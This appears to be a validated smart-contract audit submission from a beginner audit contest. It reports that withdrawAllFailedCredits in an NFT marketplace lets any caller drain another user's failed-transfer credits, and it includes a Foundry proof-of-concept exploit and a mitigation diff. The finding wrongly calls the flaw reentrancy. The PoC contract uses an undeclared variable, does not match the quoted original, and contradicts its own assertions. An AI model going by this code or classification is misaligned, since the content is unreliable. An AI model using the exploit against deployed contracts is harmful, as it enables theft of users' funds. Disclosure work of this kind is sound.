Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentranct Attack

Reentrancy Attack

Description

  • An attacker can call the withdrawAllFailedCredits(victim) function and receive failedTransferCredits[victim] while zeroing failedTransferCredits[msg.sender] (not the victim). If failedTransferCredits[victim] > 0

  • Attacker can steal funds.

function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • Theft // When this occurs, the funds from an unknown address is being lost and given to someone else.

Impact:

  • Attacker can drain the whole contract.

  • Attacker can steal funds from a user.

Proof of Concept

This below is a complete Foundry test that demonstrates the PoC exploit against the vulnerable withdrawAllFailedCredits function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
// Vulnerable contract
contract Vulnerable {
mapping(address => uint256) public failedTransferCredits;
// deposit fake credits for demo
function deposit() external payable {
failedTransferCredits[msg.sender] += msg.value;
}
// vulnerable withdraw
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
}
// Attacker contract that triggers the vulnerable withdraw
contract Attacker {
Vulnerable public target;
constructor(address _target) {
target = Vulnerable(_target);
}
// Attack: call withdrawAllFailedCredits with victim address
function attack(address victim) external {
target.withdrawAllFailedCredits(victim);
}
receive() external payable {}
}
// Foundry test showing exploit
contract VulnerableExploitTest is Test {
Vulnerable vulnerable;
Attacker attackerContract;
address payable deployer = payable(address(0xABCD));
address payable victim = payable(address(0xBEEF));
address payable attacker = payable(address(0xCAFE));
function setUp() public {
// deploy vulnerable contract as deployer
vm.deal(deployer, 10 ether);
vm.prank(deployer);
vulnerable = new Vulnerable();
// fund victim and attacker externally
vm.deal(victim, 20 ether);
vm.deal(attacker, 5 ether);
// victim deposits 10 ETH as failed credits
vm.prank(victim);
vulnerable.deposit{value: 10 ether}();
// sanity checks
assertEq(address(vulnerable).balance, 10 ether);
assertEq(vulnerable.failedTransferCredits(victim), 10 ether);
// deploy attacker contract from attacker address
vm.prank(attacker);
attackerContract = new Attacker(address(vulnerable));
}
// attacker can steal victim's credits
function testExploitStealsVictimCredits() public {
// record initial balances
uint256 attackerInitial = attacker.balance;
uint256 contractInitial = address(vulnerable).balance;
uint256 victimCreditsBefore = vulnerable.failedTransferCredits(victim);
// perform attack: attackerContract.attack(victim) called as attacker
vm.prank(attacker);
attackerContract.attack(victim);
// after attack: attacker received ETH
uint256 attackerFinal = attacker.balance;
uint256 contractFinal = address(vulnerable).balance;
uint256 victimCreditsAfter = vulnerable.failedTransferCredits(victim);
// attacker gained exactly the victim's credited amount
assertEq(attackerFinal - attackerInitial, victimCreditsBefore);
// contract balance decreased by that same amount
assertEq(contractInitial - contractFinal, victimCreditsBefore);
// crucial: victim mapping was NOT cleared (bug) — the victim's credits are still present
assertEq(victimCreditsAfter, victimCreditsBefore);
// Because victim credits remain, attacker can call again to drain more funds
// Let's call a second time and assert attacker can take funds again
vm.prank(attacker);
attackerContract.attack(victim);
// attacker gained another chunk equal to victimCreditsBefore
assertEq(attacker.balance - attackerFinal, victimCreditsBefore);
}
}

Recommended Mitigation

This is a recommded solution to replace the _reciever to msg.sender.

- function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
+ function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.